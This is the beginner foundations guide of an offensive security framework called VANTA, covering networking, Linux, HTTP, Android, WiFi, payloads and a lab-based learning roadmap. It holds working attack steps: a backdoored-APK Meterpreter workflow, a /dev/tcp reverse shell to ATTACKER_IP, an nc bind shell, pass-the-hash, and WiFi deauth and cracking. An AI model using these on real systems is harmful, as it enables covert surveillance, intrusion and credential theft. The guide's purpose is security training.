FoundationBefore You Touch Anything

Where To Start

Every Term You Need to Know

What You Need Installed

Your First 10 Minutes

• 1
  Clone & Install VANTA

  Run the install script once. It pulls all pip, pacman, and AUR dependencies listed in each module's rqm.md.

  git clone https://github.com/0xb0rn3/vanta
  cd vanta
  bash install.sh

• 2
  Launch the VANTA Shell

  The Go shell is your command center. Tab-completion works for module names and parameters.

  ./vanta
  # You'll see the VANTA prompt:
  VANTA >

• 3
  Run a Network Scan on Your Own Machine

  Use 127.0.0.1 (loopback — your own machine) as the target. This is safe, legal, and confirms nmap and the module are working.

  VANTA > use netrecon
  VANTA > set target 127.0.0.1
  VANTA > run
  # Output: open ports, service versions, OS guess

• 4
  Connect an Android Device (ADB)

  Enable USB Debugging on your Android phone (Settings → Developer Options → USB Debugging), connect via USB, and authorize the connection when prompted on-screen.

  adb devices
  # Should list your device serial number
  adb -s <serial> shell getprop ro.product.model
  # Alternative: WiFi ADB (after USB auth)
  adb tcpip 5555
  adb connect 192.168.1.x:5555

• 5
  Run Android Recon

  The recon operation is read-only — it just queries device info and installed apps. Safe to run as a first test.

  VANTA > use android_pentest
  VANTA > set device 192.168.1.x:5555
  VANTA > set operation recon
  VANTA > run
  # Output: Android version, patch level, installed apps, root status

• 6
  Generate Your First Payload APK

  This creates a backdoored APK and starts a bore WAN tunnel + Metasploit handler. Run this on a device you own. Replace the IP with your machine's LAN IP.

  VANTA > set operation deploy_shell
  VANTA > set lhost 192.168.1.x
  VANTA > set lport 4444
  VANTA > run
  # Output: APK installed, handler.rc path, bore WAN URL
  # In a second terminal:
  msfconsole -q -r ~/.vanta/android/.../handler.rc

All Modules — Difficulty & First Step

How Computers Communicate

Every VANTA module — netrecon, android_pentest, websec, wifi_monitor — touches network protocols. You don't need to memorize every RFC, but you need to understand IP addresses, ports, and packets well enough to read scan output and understand what's happening when an attack fires.

IP Addresses — What They Are at the Byte Level

192.168.1.100
 ↑   ↑   ↑  ↑
 │   │   │  └─ 4th byte = 0x64 = 100
 │   │   └──── 3rd byte = 0x01 = 1
 │   └──────── 2nd byte = 0xA8 = 168
 └──────────── 1st byte = 0xC0 = 192

On the wire: C0 A8 01 64  (4 raw bytes in IP header)

Ports — What They Are and Why They Matter

What is a Packet?

┌────────────────────────────────────────────────────────────────┐
│  Ethernet Frame (Layer 2)                                      │
│  ┌──────────────────────────────────────────────────────────┐  │
│  │  IP Packet (Layer 3)                                     │  │
│  │  ┌────────────────────────────────────────────────────┐  │  │
│  │  │  TCP Segment (Layer 4)                             │  │  │
│  │  │  ┌──────────────────────────────────────────────┐  │  │  │
│  │  │  │  Application Data (Layer 7)                  │  │  │  │
│  │  │  │  e.g. "GET / HTTP/1.1\r\nHost: site.com\r\n" │  │  │  │
│  │  │  └──────────────────────────────────────────────┘  │  │  │
│  │  │  src_port: 52341   dst_port: 443                    │  │  │
│  │  │  seq: 0x11223344   ack: 0x44332211                  │  │  │
│  │  └────────────────────────────────────────────────────┘  │  │
│  │  src_ip: 192.168.1.50   dst_ip: 93.184.216.34           │  │
│  │  ttl: 64   protocol: 6 (TCP)                            │  │
│  └──────────────────────────────────────────────────────────┘  │
│  src_mac: aa:bb:cc:dd:ee:ff   dst_mac: 00:11:22:33:44:55      │
└────────────────────────────────────────────────────────────────┘

TCP vs UDP — Two Ways to Send Data

How Attacks Actually Work

Real attacks follow a pattern. Lockheed Martin's Cyber Kill Chain and MITRE's ATT&CK framework document these stages. Understanding the lifecycle tells you which VANTA module applies at each phase.

Linux Commands You Must Know

VANTA runs on Linux (Kali, Arch, Ubuntu). Every module uses the terminal. You don't need to be a Linux expert, but you need to be comfortable with the commands below — they appear in module outputs, dependency installation, and troubleshooting.

File System Navigation

pwd                   # Print Working Directory — where you are right now
ls -la                # List files including hidden (.) files + permissions
ls -lh /path          # Human-readable sizes (KB, MB, GB)
cd /home/user/VANTA    # Change directory (absolute path)
cd ..                 # Go up one directory
cd ~                  # Go to your home directory (/home/username)
mkdir -p a/b/c        # Create nested directories (no error if exists)
rm -rf dir/           # Delete directory and all contents (irreversible — be careful)
cp -r src/ dst/       # Copy directory recursively
mv old.txt new.txt    # Move/rename a file
find . -name "*.py"   # Find files matching pattern in current directory
which nmap            # Show full path of a command (/usr/bin/nmap)

Reading and Writing Files

cat file.txt           # Print entire file to terminal
less file.txt          # Scrollable file viewer (q to quit)
head -n 20 file.txt    # First 20 lines
tail -f /var/log/syslog # Follow file as it grows (live logs)
grep "error" file.txt  # Find lines containing "error"
grep -r "password" .   # Recursively grep entire directory
grep -i "ERROR" *.log  # Case-insensitive grep
echo "text" > file.txt # Write text to file (overwrites)
echo "text" >> file.txt # Append text to file
nano file.txt          # Simple text editor (Ctrl+X to save+exit)

Networking Commands (Essential for Pentesting)

ip a                   # Show all network interfaces + IP addresses
ip route               # Show routing table (default gateway)
hostname -I            # Print your IP(s) — quick way to find your LHOST
ss -tulpn              # Show all listening ports + which process
netstat -tulpn         # Alternative to ss (older systems)
ping -c4 192.168.1.1   # Test connectivity (4 packets)
traceroute 8.8.8.8     # Trace route to destination
curl -I https://site.com  # Fetch just HTTP headers
wget https://site.com/file -O local.file  # Download file
nc -lvnp 4444          # Start netcat listener on port 4444 (catch shells here)
nc 192.168.1.50 4444   # Connect to remote host:port

Process and Permissions

ps aux                 # List all running processes
ps aux | grep python3  # Find specific process
kill -9 PID            # Force kill process by PID
sudo command           # Run command as root (you'll need this for nmap -sS)
sudo -l                # List what you can run as sudo (useful post-exploit)
chmod +x script.sh     # Make script executable
chmod 700 file         # Owner can read/write/execute, others: nothing
id                     # Show your current user ID and groups
whoami                 # Just your username
su - alice             # Switch to user alice (if you know the password)
# "uid=0(root)" in id output = you have root / full control

Package Management (Install Tools)

# Arch / CachyOS (VANTA's primary platform):
sudo pacman -S nmap    # Install nmap
yay -S apktool         # Install from AUR (community packages)
sudo pacman -Syu       # Update all packages

# Kali / Debian / Ubuntu:
sudo apt update        # Refresh package list first
sudo apt install nmap  # Install nmap
sudo apt install -y metasploit-framework  # Install Metasploit

# Python packages (any distro):
pip3 install frida-tools        # Install Python package
pip3 install --break-system-packages impacket  # Force install on newer Python

Crypto From Zero

Cryptography appears in every VANTA module — password hashes in AD attacks, APK signing, TLS in Meterpreter's HTTPS transport, WPA2's 4-way handshake. You don't need to implement crypto, but you need to understand what hashes are, why symmetric and asymmetric encryption differ, and how TLS protects (and doesn't protect) network traffic.

Hashing — One-Way Functions

sha256("password") = 5e884898da28047151d0e56f8dc6292773603d0d6aabbdde5...
sha256("Password") = a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e99...
                     # One capital letter → completely different hash

## NTLM hash format in secretsdump output:
Administrator:500:LM_HASH:NT_HASH:::
                   ↑        ↑
                   │        └─ NT hash (MD4 of UTF-16LE password)
                   └────────── LM hash (old, often disabled)

## Pass-the-Hash: authenticate with the NT hash directly
## No need to crack it — Windows NTLM protocol accepts the hash
python3 psexec.py -hashes :NT_HASH_HERE domain/User@target

Symmetric vs Asymmetric Encryption

Base64 — Encoding vs Encryption

# Base64 encode/decode on Linux:
echo "id; whoami" | base64          # → aWQ7IHdob2FtaQo=
echo "aWQ7IHdob2FtaQo=" | base64 -d # → id; whoami

# In PowerShell (Windows — badusb uses this):
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("id; whoami"))
# → Note: PowerShell's -EncodedCommand uses UTF-16LE, not UTF-8

# Detect base64 in the wild: length divisible by 4, only [A-Za-z0-9+/=] chars
# Always decode suspicious base64 strings you find in web apps, APKs, scripts

Think Like a Red Teamer

The biggest difference between a script kiddie and a skilled pentester isn't the tools — it's the mental model. Understanding why attacks work makes you effective even when the tools fail, and makes your reports genuinely useful to the defenders.

Understanding Trust Relationships

# Trust is the core concept of all privilege escalation

Web server trusts:  user input in GET/POST parameters
                    → SQL injection, XSS, command injection

Android trusts:     apps installed with the right signature
                    → we re-sign a backdoored APK with our cert → Play Protect bypass

Windows AD trusts:  any authenticated domain account for LDAP enumeration
                    → low-priv user can enumerate entire domain structure

Kerberos trusts:    any account can request a TGS for any SPN
                    → Kerberoasting: request service ticket, crack it offline

SSH trusts:         key files in ~/.ssh/authorized_keys
                    → find a private key in a repo/config → ssh as that user

# Every trust relationship is a potential attack path
# Your job: find the shortest chain of trust relationships to your goal

Deeper Terms — Protocol & Tool Level

What is a Terminal?

A terminal is a text interface to your operating system. Instead of clicking icons, you type commands. Every VANTA operation runs in a terminal. Understanding how terminals work is not optional — it is the bedrock of offensive security.

Terminal vs Shell vs Console

The Prompt — Reading It

user@hostname:~$          # normal user  ($ is the prompt character)
root@kali:/tmp#           # root user    (# means root — full system access)
┌──(kali㉿kali)-[~]
└─$                       # Kali Linux default prompt — same as above, styled

~ means your home directory (/home/username). The part after the colon is your current directory. When VANTA says "run this in your terminal," you paste it after the $ or #.

Essential Shell Concepts

Superuser — What Root Means

sudo python3 android_gui.py        # run as root (needed for raw ADB features)
sudo -i                            # become root in this shell (careful)
whoami                             # shows your current username
id                                 # shows uid, gid, and group memberships

How Networks Are Layered

The OSI model divides networking into 7 layers. Every tool in VANTA operates at specific layers. Knowing which layer you are attacking determines which tools and techniques apply.

Quick reference: where VANTA modules attack

Layer 7 (App):      websec — HTTP injection, SSRF, auth bypass
Layer 4 (Transport):netrecon — TCP SYN scan, port enumeration
Layer 3 (Network):  netrecon — ICMP discovery, traceroute
Layer 2 (Data Link):mac_spoof — ARP, MAC address spoofing
Layer 1 (Physical): wifi_monitor — 802.11 monitor mode, deauth

How Names Become Numbers

DNS (Domain Name System) translates human-readable names like google.com into IP addresses like 142.250.80.14. Every pentest touches DNS — it reveals infrastructure, subdomains, and mail servers.

How a DNS Lookup Works (Step by Step)

You type:  https://example.com

1. Your OS checks its local cache — if it was looked up recently, done.
2. OS asks your configured DNS resolver (usually your router, e.g. 192.168.1.1)
3. Resolver asks a Root Nameserver: "Who handles .com?"
4. Root replies: "Ask 192.5.6.30 (a .com nameserver)"
5. .com nameserver replies: "Ask ns1.example.com for example.com"
6. ns1.example.com replies: "example.com = 93.184.216.34"
7. Your OS caches the answer (for the TTL seconds) and connects to 93.184.216.34

DNS Record Types — What They Mean

DNS in Pentesting

dig example.com A               # A record lookup
dig example.com MX              # mail server
dig example.com TXT             # SPF/DKIM/verification records
dig example.com ANY             # all records (often blocked)
dig @8.8.8.8 example.com        # query specific resolver (Google's)

nslookup example.com            # Windows-friendly alternative

# Subdomain enumeration (find hidden services)
ffuf -w /usr/share/wordlists/subdomains.txt -u https://FUZZ.example.com

How the Web Actually Works

HTTP (HyperText Transfer Protocol) is the language browsers and servers use to communicate. Every web vulnerability — SQLi, XSS, SSRF, IDOR — is an HTTP protocol being abused. You cannot do web security without understanding HTTP at the byte level.

The Request–Response Cycle

                  ┌─────────────────────────────────────┐
  Browser          │  HTTP Request                        │
  sends ──────────▶│  GET /login HTTP/1.1                 │
                   │  Host: example.com                   │
                   │  Cookie: session=abc123              │
                   │  User-Agent: Mozilla/5.0 ...         │
                   └─────────────────────────────────────┘

                   ┌─────────────────────────────────────┐
  Server           │  HTTP Response                       │
  replies ◀────────│  HTTP/1.1 200 OK                     │
                   │  Content-Type: text/html             │
                   │  Set-Cookie: session=xyz789          │
                   │                                      │
                   │  <html>...</html>                   │
                   └─────────────────────────────────────┘

HTTP Methods — What Each One Does

Status Codes You Must Know

200 OK               — request succeeded, resource returned
301 / 302            — redirect (301=permanent, 302=temporary) — follow these in recon
400 Bad Request      — malformed request — check your payload syntax
401 Unauthorized     — auth required but not provided (no session/token)
403 Forbidden        — auth provided but permission denied — probe for bypasses
404 Not Found        — resource doesn't exist — or hidden (403 is more interesting)
405 Method Not Allowed— server won't allow that HTTP method on this endpoint
500 Internal Error   — server crashed — often reveals error messages with code paths
502 Bad Gateway      — proxy/load balancer can't reach the backend
503 Service Unavail  — server intentionally unavailable (rate limit, maintenance)

Headers That Matter in Security

How Android Apps Are Sandboxed

The android_pentest module operates against the Android security model. To understand what the module does and why each technique works (or doesn't), you need to understand how Android isolates apps and where the weaknesses are.

The Android Security Model

Android Components — What Attackers Target

AndroidManifest.xml declares 4 component types:

  Activity     — a screen (UI). Exported activities can be launched by other apps or via ADB.
                 Attack: intent injection, exported activity access without auth

  Service      — background process. The Meterpreter backdoor runs as a Service.
                 Attack: exposed services, privilege escalation through service bindings

  BroadcastReceiver — responds to system or app events (BOOT_COMPLETED, SMS_RECEIVED).
                 Attack: boot persistence (register for BOOT_COMPLETED), intent sniffing

  ContentProvider — shared data store (contacts, photos). URI-accessible.
                 Attack: SQL injection via content URIs, exposed providers leaking data

How the android_pentest Backdoor Works

1. Target APK downloaded/obtained
2. apktool decodes APK → smali (assembly-level Android bytecode)
3. Payload smali files injected into decoded source
4. AndroidManifest.xml modified to add:
   - INTERNET, READ_PHONE_STATE, RECORD_AUDIO, CAMERA permissions
   - Service declaration for the C2 component
   - BOOT_COMPLETED receiver for persistence
5. APK recompiled and signed with our keystore
6. ADB installs the modified APK on target device
7. Meterpreter connects back to our handler (LHOST:LPORT)

ADB — What It Actually Does

How WiFi Can Be Compromised

WiFi uses radio waves. Unlike a cable (private), radio waves travel through walls and into the street. Security relies entirely on encryption. When encryption is weak or handshakes are captured, the password can be recovered offline. The wifi_monitor module automates this capture.

WPA2 — The 4-Way Handshake

When a device connects to a WPA2 network:

Client                          Access Point (AP)
  │                                    │
  │──── Association Request ──────────▶│
  │◀─── ANonce (AP nonce) ─────────────│  (random number)
  │                                    │
  │  Client generates SNonce, derives PTK using:
  │  PTK = f(PMK, ANonce, SNonce, client_MAC, AP_MAC)
  │  PMK = PBKDF2(HMAC-SHA1, password, SSID, 4096, 32)
  │                                    │
  │──── SNonce + MIC ─────────────────▶│  (MIC proves client knows PMK)
  │◀─── GTK (group key) + MIC ─────────│
  │──── ACK ──────────────────────────▶│

The attacker captures SNonce + ANonce + MIC from the air.
Then runs offline dictionary attack: try each password, compute PTK, verify MIC.
If MIC matches → password found.

Monitor Mode vs Managed Mode

# What wifi_monitor does under the hood:
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up

# Channel lock (stay on target AP's channel)
iw dev wlan0 set channel 6

# Capture with airodump-ng
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0

# Deauth attack to force clients to re-associate (capture handshake)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0

# Crack offline
hashcat -m 22000 capture.hccapx wordlist.txt

What a Payload Actually Is

In pentesting, a payload is the code that runs on the target after exploitation. The payload is what gives you control. Understanding payload types is essential for choosing the right technique for each android_pentest and revshell operation.

Staged vs Stageless

Meterpreter — What It Is

Meterpreter is Metasploit's advanced in-memory payload. Key properties:

  - Runs entirely in memory — no files written to disk (evasion)
  - Encrypted communications — looks like normal HTTPS traffic
  - Extensible — load modules: screenshot, webcam_snap, sysinfo, hashdump
  - Pivoting — use compromised host to reach internal network
  - Persistence — embed in startup scripts, registry, cron jobs

Core commands:
  sysinfo            → OS, hostname, architecture
  getuid             → current user and UID
  screenshot         → capture screen
  webcam_snap        → photo from front/rear camera
  record_mic 10      → 10 seconds of audio
  shell              → drop into device OS shell
  upload /file /path → push file to device
  download /path     → pull file from device

Transport Protocols — Why It Matters

What a Reverse Shell Actually Does

A reverse shell is one of the most fundamental concepts in offensive security. Every meterpreter session, every C2 callback, every netcat listener is a reverse shell in some form. Understanding it from first principles makes the revshell module and every advanced technique click.

Bind Shell vs Reverse Shell

Bind Shell (attacker connects TO target):

  Target:   nc -lvnp 4444 -e /bin/bash     # opens port 4444, gives shell to anyone who connects
  Attacker: nc 192.168.1.50 4444            # connect to target's open port

  Problem: target's firewall blocks inbound port 4444.

──────────────────────────────────────────────────────────────────

Reverse Shell (target connects TO attacker):

  Attacker: nc -lvnp 4444                   # open listener on our machine
  Target:   bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1  # target calls back

  Works because: firewalls usually allow outbound connections.
  The target initiates — it goes OUT through the firewall, not in.

One-Liners — How They Work

What revshell Does

revshell generates and delivers working reverse shell payloads for:

  go     → compiled Go binary (static, no deps, works anywhere)
  py     → Python3 one-liner (runs on any system with Python)
  bash   → bash /dev/tcp one-liner
  pwsh   → PowerShell (Windows targets)
  php    → web shell via PHP RCE
  node   → Node.js reverse shell

VANTA auto-starts a netcat/msfconsole listener on LPORT and optionally
runs bore to expose LHOST to the internet for WAN targets.

The 10 Most Critical Web Vulnerabilities

The OWASP Top 10 is the industry-standard list of the most critical web application security risks. The websec module covers all 10. Know these before you touch websec.

Building Your Home Lab

You need a lab to safely practice. Practicing on real systems you don't own is illegal. A home lab gives you intentionally vulnerable targets — legally — for every skill level. This is the minimum setup to work through all VANTA modules.

Layer 0 — Your Attack Machine

Layer 1 — Vulnerable Target VMs

Download intentionally vulnerable machines from:

  Vulnhub.com          → free OVA/VMDK images, thousands of machines
  TryHackMe.com        → browser-based, guided rooms, beginner-friendly
  HackTheBox.com       → more challenging, CTF-style
  OffSec Proving Grounds → OSCP-style machines

Recommended first targets:
  Metasploitable 2     → Vulnhub — every classic vuln, great for MSF practice
  DVWA                 → Damn Vulnerable Web App — runs in Docker, all OWASP top 10
  VulnDocker           → Docker compose with intentionally misconfigured containers
  Android Emulator     → AVD with debugging enabled for android_pentest practice

Layer 2 — Network Isolation

VirtualBox: Set VM network to "Host-Only Adapter" → vboxnet0
VMware:     Set VM network to "Host-Only" → vmnet1

Your attack machine can reach the vulnerable VM.
The vulnerable VM cannot reach the internet.
Your actual network is completely isolated.

Check with: ip addr show   (on vulnerable VM — should show 192.168.56.x range)

Docker Lab — Quick Start

# Spin up DVWA (web app testing):
docker run -d -p 80:80 vulnerables/web-dvwa
# Open http://localhost → admin/password → set security to low → test all vulns

# Spin up a vulnerable SSH target:
docker run -d -p 2222:22 sickp/alpine-sshd
ssh -p 2222 root@localhost   # password: root

# Spin up intentionally vulnerable API:
docker run -d -p 5000:5000 clementinesurprenant/vuln-nodejs-app

Capture The Flag — How It Works

CTF (Capture The Flag) competitions are how most security professionals learn and measure their skills. You solve security challenges to find hidden strings called flags. The ctfpwn module automates common CTF techniques.

CTF Categories

Flag Format and Submission

Most CTFs use a flag format like:
  CTF{this_is_a_sample_flag}
  FLAG{s0me_secret_string_h3re}
  VANTA{found_it}

You paste the flag into the CTF platform to get points.

First CTF checklist:
  1. TryHackMe account → complete "Introduction to Pentesting" learning path
  2. Solve "Mr Robot" (medium), "Basic Pentesting" (easy)
  3. For web: try "OWASP Top 10" room (free)
  4. For all-around: "Advent of Cyber" (free each December)
  5. Progress to HackTheBox starting boxes: "Lame", "Legacy", "Blue"

ctfpwn — What It Automates

VANTA ctfpwn module covers common CTF tasks:

  binary_enum     → checksec, strings, file type, disassemble entry point
  sqli_scan       → sqlmap-style injection test across parameters
  lfi_scan        → Local File Inclusion path traversal attempts
  hash_crack       → rockyou wordlist attack on MD5/SHA1/SHA256
  steg_extract    → steghide, zsteg, binwalk extraction from images
  jwt_tamper      → decode JWT, try alg:none, crack HS256 with wordlist
  b64_decode      → recursive base64/base32/rot13/hex decode chain

Where to Go Deeper

VANTA is a framework for applying knowledge, not a substitute for it. These resources build the conceptual foundation you need to understand why the tools work — making you effective even when the automation fails. Ordered by cost (free first).

Free Practice Platforms

Free Vulnerable Apps (Your Lab Targets)

Books — Deep Knowledge

Certifications — Structured Learning

12-Week Learning Roadmap

Follow this plan to go from complete beginner to confidently using every VANTA module. Each week combines reading, lab practice, and VANTA usage — reinforcing knowledge through the tool.

• 1
  Foundations Week 1 — Environment + Networking

  Read this entire foundations page. Set up your lab (lab-setup.html). Read sections 05–07 here (Networking, Attack Lifecycle, Linux). Complete TryHackMe "Pre-Security" path (free, ~6 hours).

  Lab: VANTA → use netrecon → set target 127.0.0.1 → run
  Learn: read every line of nmap output. Look up every port you don't recognize.

• 2
  Foundations Week 2 — Web Basics

  Read section 08 (Crypto). Start PortSwigger "Server-side topics" → SQLi labs (first 5). Set up DVWA in Docker.

  Lab: VANTA → use websec → set target http://localhost → run
  Learn: compare VANTA's SQLi findings against DVWA's "View Source" for that challenge

• 3
  Network Recon Mastery

  Read netrecon internals section. Study nmap's book chapters 1–5 (free online). Install Metasploitable 2 VM.

  Lab: VANTA → use netrecon → set target <metasploitable_ip> → run
  Goal: find vsftpd 2.3.4 in netrecon output → understand the CVE

• 4
  Your First Shell

  Read revshell internals. Complete TryHackMe "What the Shell?" room. Study Metasploit Unleashed (free).

  Lab: Metasploitable 2 → vsftpd exploit → catch shell with VANTA revshell
  Then: upgrade raw shell → Meterpreter (shell_to_meterpreter)

• 5
  Web Exploitation

  Complete PortSwigger SQLi labs 1–15. Read websec SQLi + XSS sections. Start bug bounty recon on a program you're eligible for.

  Lab: websec → sqli, xss_scan, dirb against DVWA
  Deep: manually replicate what websec found using curl commands

• 6
  Android Security

  Read android_pentest full page — all architecture sections. Install InsecureBankv2 on Android-x86 VM. Read OWASP MASTG Android chapter 1–3.

  Lab: android_pentest recon → app_scan → understand every finding
  Deep: jadx decompile InsecureBankv2 → find the hardcoded credentials manually

• 7
  Payload Delivery

  Read android_pentest backdoor + Play Protect bypass sections. Read badusb full page. Generate and understand every byte of an msfvenom APK.

  Lab: backdoor_apk → inspect with jadx → catch Meterpreter → run sysinfo
  Also: generate badusb payload → trace every DuckyScript line to HID report bytes

• 8
  WiFi Security

  Read wifi_monitor 802.11 frame section + WPA2 handshake. Get a USB WiFi adapter (TP-Link TL-WN722N). Read aircrack-ng wiki capture tutorial.

  Lab: capture your own home WPA2 handshake → run hashcat with rockyou.txt
  Goal: if your password is cracked, change it. If not, understand why rockyou failed.

• 9
  Active Directory — The Core

  Read windowsAD Kerberos + LDAP sections. Complete TryHackMe "Attacktive Directory" room. Set up GOAD or VulnAD lab.

  Lab: windowsAD assess on GOAD → read BloodHound graph → find path to Domain Admin
  Deep: understand every Kerberos packet in the DCSync chain

• 10
  Active Directory — Full Chain

  Kerberoast, crack TGS hash, use credential to escalate, DCSync, Golden Ticket. Document the full chain as a pentest report.

  Lab: windowsAD kerberoast → hashcat → escalate → dcsync → golden_ticket
  Goal: written report: vulnerability, evidence, business impact, remediation

• 11
  Customization — Make It Yours

  Read every module's Customization section. Write a new operation for any module. Add a new DuckyScript delivery template. Write a custom Frida script.

  Goal: contribute something new to VANTA — a new payload type, detector, or operation
  Read: each module's customization guide → pick one → implement it → test it

• 12
  Real Engagements

  Apply for your first bug bounty program (HackerOne or Bugcrowd — start with programs that allow web testing). Study the scope carefully. Use VANTA for recon and scanning. Document every finding properly.

  Or: take eJPT / PNPT certification exam — all skills from weeks 1–11 directly apply
  Mindset: the tools are just tools. Understanding the WHY is what makes you dangerous.